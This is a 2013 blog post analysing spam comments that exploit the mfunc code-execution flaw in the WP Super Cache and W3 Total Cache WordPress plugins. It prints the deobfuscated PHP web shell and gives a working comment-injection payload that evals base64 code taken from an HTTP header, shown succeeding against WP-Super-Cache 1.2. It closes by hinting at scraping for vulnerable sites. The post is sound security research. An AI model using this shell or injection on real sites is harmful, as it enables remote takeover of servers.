PHP shell exploiting mfunc vulnerability in WordPress

Posted on Fri 04 October 2013 in reversing

Over the last week I got two comments to moderate in an empty WordPress blog, which tried to exploit the mfunc vulnerability present in at least two WordPress plugins, WP Super Cache and W3 Total Cache. The fact that someone commented on the 'hello-world' post published in the default WP install was funny enough, but the body of the message was interesting, and had seemed to skip the Akismet spam filter. Well kismet was off so maybe I would have never gotten those comments. But the thing is I did, and after taking a look at the body, which was the same in both cases, I noticed something unfamiliar.

mfunc shell email

Turns out, this mfunc is part of a vulnerability that was present in WP Super Cache and W3 Total Cache but it's been fixed for some time now. It was reported by kisscsaby in the WP forums andlater Frank Goossen wrote up a nice post mortem about it.

What we need to know now is that a WP blog with a vulnerable version of one of those plugins will execute the code inside the opening mfunc tag, like <!--mfunc print 'p0wn3d' --><!--/mfunc--> will turn in the case of Wp-Super-Cache 1.2 into <?php print 'p0wn3d'; ?>

Let's see what the payload is behind all that encoded base64, seems pretty large...

A first base64_decode() gives me another slightly smaller base64 block, and another one after that, and another one after that... how many will there be? I googled something like "recursively obfuscated php" and this tweet by @kkotowicz led me to a great "inception/deception" gist. It was coded for a different payload, so I modified it a little bit to suit mine:

<?php
// and this is how you handle this  
function t($code) {  
    echo "."; // just to detect how many inceptions there were  
    $code = base64_decode($code);  
    $code = gzinflate($code);  
    $m = array();  
    if (preg_match('/base64_decode\(\"(.+)\"\)/', $code, $m)) {  
        return t($m[1]);  
    } 
    return $code;  
}

$code = "DZZHDqwIEkTv0[...]YKX/u8/f//+/d//AQ==";

print(t($code));

?>

And that gave me the real payload after 28 layers of inception, which was what looked like a PHP shell, not so similar to the one in the gist:

@error_reporting(0);  
@ini_set("display_errors",0);  
@ini_set("log_errors",0);  
@ini_set("error_log",0);

if (isset($_GET['r'])) {  
    print $_GET['r'];  
} elseif (isset($_POST['e'])) {  
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));  
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {
    $data = file_get_contents('php://input');  
    if (strlen($data) > 0)  
        print 'STATUS-IMPORT-OK';  
    if (strlen($data) > 12) {  
        $fp=@fopen('tmpfile','a');  
        @flock($fp, LOCK_EX);  
        @fputs($fp,
        $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");  
        @flock($fp, LOCK_UN);  
        @fclose($fp);  
    }
}
exit;

I forked the gist so this code is in there too. Nice. So what does this do? Trying a few options to run arbitrary code in the server, Ok we have our PHP shell, although it looks like the part to run the code is waiting for some passthru() or system() or the like. This entry in IT Security Stack Exchange examines this code thoroughly so instead of explaining what it does, I'm gonna try to use it.

First I went with a minimal version of it, to see how the mfunc vulnerability works in its most basic form, and run into one wall after another trying to send code in $_POST['e'] or $_GET['r']. It must be some WordPress thing, because locally I had no problems injecting code via $_GET and $_POST. After quite a few tries -about 80 different curl commands to be precise- I figured a way to have this script working in the WordPress installation.

What worked was a different way to inject the code. Using the headers, in the same way this exploit did for the Mantis Bug Tracker. This is the comment I added to the post:

<!--mfunc eval(base64_decode("aWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0NPTlRFTlRfRU5DT0RJTkcnXSkpIHsgJGRh dGEgPSAkX1NFUlZFUlsnSFRUUF9DT05URU5UX0VOQ09ESU5HJ107IGlmIChzdHJsZW4oJGRhdGEpID4gMCk gZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhKSk7IH0gZXhpdDsK")) --><!--/mfunc-->

Which translates to:

<?php  
if (isset($_SERVER['HTTP_CONTENT_ENCODING'])) {  
    $data = $_SERVER['HTTP_CONTENT_ENCODING'];  
if (strlen($data) > 0)  
    eval(base64_decode($data));  
}  
exit;  
?>

Calling the post url with our code injection and WP-Super-Cache 1.2 installed now works. Remember we need to call it twice. First time to generate the cached version and expand the mfunc code, second one to interpret the injected code. Note the WP-Super-Cache header is present in the second one:

injecting the code

Which ended with:

injection result

So that was fun. And what about the original code appending all the php://input to a file? Maybe to accumulate a series of shell codes and then run it all at once? This part was very interesting, I would love to find out some practical uses for it.

WP Super Cache has almost 5 Million downloads today, how many of those are still <= 1.2? And the other plugin? I won't go into that, but it'd be a good google foo + scraping exercise.